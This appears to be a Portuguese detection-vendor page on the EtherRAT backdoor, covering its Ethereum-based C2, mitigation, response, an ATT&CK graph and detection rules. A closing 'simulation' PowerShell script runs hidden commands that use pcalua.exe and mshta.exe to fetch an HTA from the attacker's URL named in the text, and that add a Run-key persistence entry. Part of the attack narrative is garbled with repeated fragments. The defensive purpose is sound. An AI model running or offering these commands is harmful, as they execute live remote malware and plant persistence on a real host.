EtherRAT & Módulo SYS_INFO: C2 na Ethereum (EtherHiding), Seleção de Alvo, Beacons Semelhantes a CDN
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
EtherRAT é uma backdoor Node.js que resolve seus pontos de comando e controle a partir de contratos inteligentes Ethereum usando uma abordagem de “EtherHiding”. Ele se mistura ao tráfego web normal ajustando beacons para se assemelharem a solicitações benignas de CDN, enquanto visa dados de alto valor como carteiras de criptomoedas e credenciais de nuvem. O acesso inicial é comumente impulsionado por engenharia social estilo ClickFix ou iscas de suporte de TI falso que acionam a execução maliciosa de HTA através do pcalua.exe e mshta.exe.
Investigation
A eSentire Threat Response Unit observou uma cadeia de carregadores multiestágio que inclui um fluxo de trabalho de decodificação AES-256-CBC, persistência via um valor de registro HKCU Run e um módulo SYS_INFO responsável por um extenso perfil de hospedeiros. EtherRAT entra em contato com múltiplos provedores públicos de Ethereum RPC para localizar o contrato inteligente relevante e então deriva URLs semelhantes a CDNs e os consulta para tarefas e comandos subsequentes, reforçando seu disfarce de “tráfego legítimo”.
Mitigação
Use AppLocker ou WDAC para bloquear ou controlar estritamente pcalua.exe e mshta.exe, e restrinja o diálogo Run do Windows via Política de Grupo. Quando possível, limite ou bloqueie o acesso à infraestrutura pública de criptografia RPC conhecida e alerte sobre o uso inesperado de Ethereum RPC de endpoints que não requerem isso. Empregue controles de endpoint que possam detectar backdoors baseados em Node.js e monitore padrões de beaconing anormais que imitam o comportamento de busca de CDN nos domínios identificados.
Resposta
Se a atividade de EtherRAT for detectada, isole o endpoint, termine o processo em execução e remova a entrada de persistência HKCU Run junto com qualquer artefato caído. Realize uma varredura forense completa para confirmar que nenhuma carga útil adicional foi posicionada e gire as credenciais expostas—priorizando segredos de carteiras de criptomoedas e chaves de serviço em nuvem. Expanda a caça pelo ambiente para pesquisas semelhantes de Ethereum-RPC e comportamento de consulta semelhante a CDN para ler a possível disseminação.
"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Techniques tech_initial_access["<b>Técnica</b> – <b>T1218.005 Execução de Proxy Binário do Sistema</b><br/>pcalua.exe lança mshta.exe para baixar e executar HTA malicioso"] class tech_initial_access technique tech_indirect_cmd_exec["<b>Técnica</b> – <b>T1202 Execução de Comando Indireto</b><br/>Ofusca a linha de comando para invocar outros binários"] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>Técnica</b> – <b>T1059.003 Interpretação de Comando e Script: Shell de Comando do Windows</b><br/>Executa comandos PowerShell e reg para impressão digital"] class tech_cmd_shell technique tech_persistence["<b>Técnica</b> – <b>T1546.007 Netsh Helper DLL</b> e <b>T1037.004 Scripts RC</b><br/>Cria chave HKCU Run lançando conhost.exe headless node.exe"] class tech_persistence technique tech_defense_evasion["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscadas</b> com Polimorphic Code, Dynamic API Resolution, Embedded Payloads, Deobfuscate/Decode"] class tech_defense_evasion technique tech_c2_resolver["<b>Técnica</b> – <b>T1102.001 Resolver de Dead Drop</b><br/>Recupera endereço C2 de um contrato inteligente Ethereum"] class tech_c2_resolver technique tech_c2_comm["<b>Técnica</b> – <b>T1102 Serviço Web</b> com comunicação bidirecional (T1102.002) e unidirecional (T1102.003)<br/>Solicitações HTTPS imitam tráfego CDN"] class tech_c2_comm technique tech_collection["<b>Técnica</b> – <b>T1602.002 Dump de Configuração de Dispositivo de Rede</b><br/>Coleta arquivos de dados como sistema operacional, hardware, rede, antivirus, carteiras de criptomoeda e credenciais de nuvem"] class tech_collection technique tech_exfiltration["<b>Técnica</b> – <b>T1041 Exfiltração Sobre Canal C2</b><br/>Envia dados coletados de volta pelo mesmo canal HTTPS"] class tech_exfiltration technique tech_impact_hijack["<b>Técnica</b> – <b>T1496.001 Seqüestro de Computação</b><br/>Rouba arquivos de carteiras de criptomoedas"] class tech_impact_hijack technique tech_impact_cloud["<b>Técnica</b> – <b>T1537 Transferência de Dados para Conta na Nuvem</b><br/>Faz upload de credenciais para armazenamento em nuvem"] class tech_impact_cloud technique tech_software_ext["<b>Técnica</b> – <b>T1176 Extensões de Software</b> e <b>T1505.004 Componentes IIS</b><br/>Faz download de tempo de execução Node.js e módulos adicionais"] class tech_software_ext technique tech_lateral["<b>Técnica</b> – <b>T1080 Contaminação de Conteúdo Compartilhado</b><br/>Faz download de cargas úteis/módulos adicionais de servidores remotos"] class tech_lateral technique %% Nodes u2013 Tools tool_pcalua["<b>Ferramenta</b> – <b>Nome</b>: pcalua.exe<br/><b>Descrição</b>: Instalador autônomo do Windows Update usado como proxy"] class tool_pcalua tool tool_cmd["<b>Ferramenta</b> – <b>Nome</b>: cmd.exe<br/><b>Descrição</b>: Shell de comando do Windows com ofuscação de acentos circunflexos"] class tool_cmd tool tool_ethereum["<b>Ferramenta</b> – <b>Nome</b>: Provedor Ethereum RPC<br/><b>Descrição</b>: Endpoints públicos de RPC usados para consultar o contrato inteligente"] class tool_ethereum tool tool_nodejs["<b>Ferramenta</b> – <b>Nome</b>: tempo de execução Node.js<br/><b>Descrição</b>: Executa módulos adicionais baixados do C2"] class tool_nodejs tool %% Nodes u2013 Processes process_mshta["<b>Processo</b> – <b>Nome</b>: mshta.exe<br/><b>Descrição</b>: Executa arquivos HTA"] class process_mshta process process_powershell["<b>Processo</b> – <b>Nome</b>: powershell.exe<br/><b>Descrição</b>: Executa scripts PowerShell para impressão digital do sistema"] class process_powershell process process_conhost["<b>Processo</b> – <b>Nome</b>: conhost.exe<br/><b>Descrição</b>: Processo host usado para lançar node.exe sem interface"] class process_conhost process process_https["<b>Processo</b> – <b>Nome</b>: cliente HTTPS<br/><b>Descrição</b>: Envia solicitações como /api/<hex>/<UUID>.ico imitando o tráfego CDN"] class process_https process process_remote_download["<b>Processo</b> – <b>Nome</b>: downloader<br/><b>Descrição</b>: Recupera cargas úteis adicionais de servidores remotos"] class process_remote_download process %% Nodes u2013 Malware malware_obfuscator["<b>Malware</b> – <b>Nome</b>: Carga gerada pelo Obfuscator.io<br/><b>Descrição</b>: Estágios criptografados com AESu2011256u2011CBC com código polimórfico"] class malware_obfuscator malware %% Connections tech_initial_access –>|usa| tool_pcalua tool_pcalua –>|lança| process_mshta process_mshta –>|faz download| "shep.hta" tech_initial_access –>|leva a| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|usa| tool_cmd tool_cmd –>|invoca| process_powershell process_powershell –>|executa| tech_cmd_shell tech_cmd_shell –>|habilita| tech_persistence tech_persistence –>|cria| process_conhost process_conhost –>|lança| tool_nodejs tech_defense_evasion –>|aplica a| malware_obfuscator malware_obfuscator –>|fornece carga para| tool_nodejs tech_c2_resolver –>|recupera endereço via| tool_ethereum tool_ethereum –>|consulta| "contrato inteligente Ethereum" tech_c2_comm –>|comunica sobre| process_https process_https –>|transfere dados para| tech_collection tech_collection –>|dados exfiltrados via| tech_exfiltration tech_exfiltration –>|entrega a| tech_impact_hijack tech_exfiltration –>|entrega a| tech_impact_cloud tech_software_ext –>|faz download| tool_nodejs tool_nodejs –>|habilita| tech_lateral tech_lateral –>|faz download| process_remote_download "
Fluxo de Ataque
Detecções
LOLBAS Pcalua (via linha de comando)
Ver
Processos Lolbin Criando Arquivos (via evento de arquivo)
Ver
MsiExec Gerado por Processo de Shell (via linha de comando)
Ver
LOLBAS Conhost (via linha de comando)
Ver
Comportamento Suspeito de Evasão de Defesa MSHTA LOLBAS pela Detecção de Comandos Associados (via criação de processo)
Ver
Tentativa de Comunicações de Domínio de Pesquisa de IP Possível (via DNS)
Ver
Possível Enumeração ou Manipulação de Conta ou Grupo (via linha de comando)
Ver
Uso Suspeito de CURL (via linha de comando)
Ver
Provável detecção de Ambiente de Virtualização do Windows usando WMI (via linha de comando)
Ver
Possíveis Pontos de Persistência [ASEPs – Hive de Software/NTUSER] (via linha de comando)
Ver
Possíveis Verificações de Evasão (via Powershell)
Ver
Possível Ofuscação de Linha de Comando Usando Inserção de Acentos Circunflexos (via linha de comando)
Ver
Possível Enumeração de Software de Antivirus ou Firewall (via criação de processo)
Ver
Descoberta de Informações de Sistema Linux (via linha de comando)
Ver
IOCs (SourceIP) para detectar: EtherRAT & Módulo SYS_INFO: C2 no Ethereum (EtherHiding), Seleção de Alvo, Beacons Semelhantes a CDN
Ver
IOCs (DestinationIP) para detectar: EtherRAT & Módulo SYS_INFO: C2 no Ethereum (EtherHiding), Seleção de Alvo, Beacons Semelhantes a CDN
Ver
IOCs (HashSha256) para detectar: EtherRAT & Módulo SYS_INFO: C2 no Ethereum (EtherHiding), Seleção de Alvo, Beacons Semelhantes a CDN
Ver
Detectar Acesso Inicial do EtherRAT via ClickFix e Execução de Comando Indireto [Criação de Processo do Windows]
Ver
Execução de Simulação
Pré-requisito: A Verificação Pré-voo de Telemetria & Baseline deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.
-
Narrativa de Ataque & Comandos:
- Acesso Inicial – ClickFix Dropper: O atacante utiliza um instalador ClickFix malicioso que executa um
cmd.exeoculto que chamapcalua.exe. - Execução Indireta:
pcalua.exeé instruído a lançarmshta.execontra um arquivo HTA remoto hospedado emhttps://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Este script HTA carrega a carga útil do EtherRAT. - Configuração de Persistência: O dropper adiciona um valor de registro em
Runapontando para uma sequência de execução deapontando para uma sequência de execução de, garantindo que o malware inicie ao logon do usuário., garantindo que o malware inicie ao logon do usuário.→, garantindo que o malware inicie ao logon do usuário.Reconhecimento de Domínio: - Paralelamente, uma linha única de comando do PowerShell é executada para ler o nome de domínio da máquina, sinalizando ao atacante que o host está associado ao domínio. Todas as três linhas de comando são executadas a partir de uma única
instância oculta, coincidindo com a
cmd.exeregra Sigmaindicador1/indicador2orindicador3combinação. - Acesso Inicial – ClickFix Dropper: O atacante utiliza um instalador ClickFix malicioso que executa um
-
Script de Teste de Regressão: O script abaixo reproduz as exatas linhas de comando (caminhos específicos do usuário são resolvidos via variáveis de ambiente).
# ------------------------------------------------------------- # Simulação de Acesso Inicial do EtherRAT – wrapper PowerShell # ------------------------------------------------------------- $username = $env:USERNAME $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta" $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' $conhostPath = "$env:WINDIRSystem32conhost.exe" $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe" $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin" # 1. Indicador 1 – pcalua -> mshta $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden # 2. Indicador 2 – Chave de registro Run com cadeia conhost $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f" $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden # 3. Indicador 3 – Consulta de domínio via PowerShell $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`"" $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden Write-Host "`n[+] Comandos de simulação emitidos. Verifique SIEM para alertas correspondentes." -
Comandos de Limpeza: Remova a entrada do registro e exclua quaisquer arquivos criados pela simulação.
# ------------------------------------------------------------- # Limpeza – remove chave de execução e arquivos temporários # ------------------------------------------------------------- $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' # Excluir o valor da chave de execução if (Test-Path $runKeyPath) { Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue Write-Host "[+] Valor de execução do registro $runValueName removido" } # Remover quaisquer arquivos residuais (se foram criados) $paths = @( "$env:TEMPbenign.txt" # do baseline (opcional) ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item $p -Force } } Write-Host "[+] Limpeza completa."